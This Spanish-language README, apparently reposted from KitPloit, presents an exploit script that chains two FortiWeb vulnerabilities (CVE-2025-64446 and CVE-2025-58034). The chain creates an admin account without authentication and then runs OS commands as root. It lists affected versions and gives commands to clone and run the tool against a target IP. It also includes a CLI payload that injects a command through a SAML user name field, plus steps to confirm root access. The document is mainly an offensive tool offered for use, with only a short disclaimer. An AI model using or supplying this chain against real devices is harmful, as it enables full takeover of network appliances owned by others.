Exploit de ejecución remota de código (RCE) en FortiWeb mediante la cadena CVE-2025-64446 + CVE-2025-58034

Descripción

Este script encadena dos vulnerabilidades críticas en Fortinet FortiWeb para lograr ejecución remota de código no autenticada con privilegios de root:

1. CVE-2025-64446 – Omisión de autenticación mediante traversal de ruta relativa
   Permite a un atacante no autenticado omitir la autenticación y crear una nueva cuenta administrativa.

2. CVE-2025-58034 – Inyección autenticada de comandos del sistema operativo
   Un atacante autenticado (usando la cuenta creada en el paso 1) puede ejecutar comandos arbitrarios del sistema operativo como root mediante solicitudes HTTP manipuladas.

Al combinar estas dos vulnerabilidades, un atacante puede pasar de cero acceso a un compromiso total del sistema sin necesidad de credenciales previas.

Impacto final: Ejecución remota de código no autenticada (equivalente a shell root)

Detalles de la vulnerabilidad

CVE-2025-64446 – Omisión de autenticación (traversal de ruta relativa)

• Tipo: Traversal de ruta relativa que conduce a la omisión de autenticación
• Severidad: Crítica (Puntuación base CVSS 3.1: 9.8)
• Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Versiones afectadas:
  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

CVE-2025-58034 – Inyección autenticada de comandos del sistema operativo

• CVE: CVE-2025-58034
• Tipo: Neutralización incorrecta de elementos especiales usados en un comando del sistema operativo (Inyección de comandos del sistema operativo) – [CWE-78]
• Severidad: Crítica
• Descripción:
  Un atacante autenticado puede ejecutar comandos arbitrarios del sistema operativo en el sistema subyacente mediante solicitudes HTTP o comandos CLI especialmente manipulados.
• Versiones afectadas (ampliadas por este CVE):
  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5 (nota: incluye 7.6.5)
  • FortiWeb 7.4.0 – 7.4.10 (nota: incluye 7.4.10)
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

Cadena de ataque combinada:

1. Usar CVE-2025-64446 → Crear cuenta de administrador (no autenticado)
2. Iniciar sesión con la cuenta de administrador recién creada
3. Usar CVE-2025-58034 → Ejecutar comandos arbitrarios del sistema operativo como root

Uso

1. Clonar el repositorio:

   root@kitploit:~

   git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
   cd CVE-2025-64446_CVE-2025-58034
   

2. Instalar las dependencias:

   root@kitploit:~

   pip install -r requirements.txt
   

3. Ejecutar el exploit completo (crea administrador + ejecuta comando):

   root@kitploit:~

   python exploit.py <target_ip> [-u <username>] [-p <password>]
   

   • <target_ip>: La dirección IP o nombre de host del dispositivo FortiWeb vulnerable. Este es un argumento obligatorio.
   • -u <username> (opcional): Especifica un nombre de usuario personalizado para la cuenta administrativa creada. Si no se proporciona, se usará un UUID.
   • -p <password> (opcional): Especifica una contraseña personalizada para la cuenta administrativa creada. Si no se proporciona, el nombre de usuario se usará como contraseña.

   Ejemplo:

   root@kitploit:~

   python exploit.py 192.168.1.100 -u admin123 -p password456
   

   Esto intentará crear una cuenta administrativa con el nombre de usuario "admin123" y la contraseña "password456" en el dispositivo objetivo en 192.168.1.100.

   Si no se especifican nombre de usuario y contraseña:

   root@kitploit:~

Demostración

Paso 1: Omisión de autenticación y creación de administrador (CVE-2025-64446)

Paso 2: Ejecución remota de código como root (CVE-2025-58034)

Después de iniciar sesión correctamente con la cuenta administrativa recién creada, un atacante puede explotar la vulnerabilidad de inyección de comandos autenticada mediante solicitudes especialmente manipuladas o directamente a través de la CLI de FortiWeb.

Un método de explotación fiable es usar el siguiente comando CLI (ejecutado desde la interfaz de línea de comandos de FortiWeb después de la autenticación):

config user saml-user

edit "`<YOUR COMMAND>`"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

Verificación

Después de la ejecución:

• Comprueba la salida para ver los resultados del comando (por ejemplo, uid=0(root) gid=0(root) confirma RCE como root)
• Inicia sesión por SSH (si añadiste una clave) o por la interfaz web con las credenciales creadas

Referencias

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
• Avisos de Fortinet PSIRT: https://www.fortinet.com/support/psirt
• Análisis: https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis

Descargo de responsabilidad: Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal.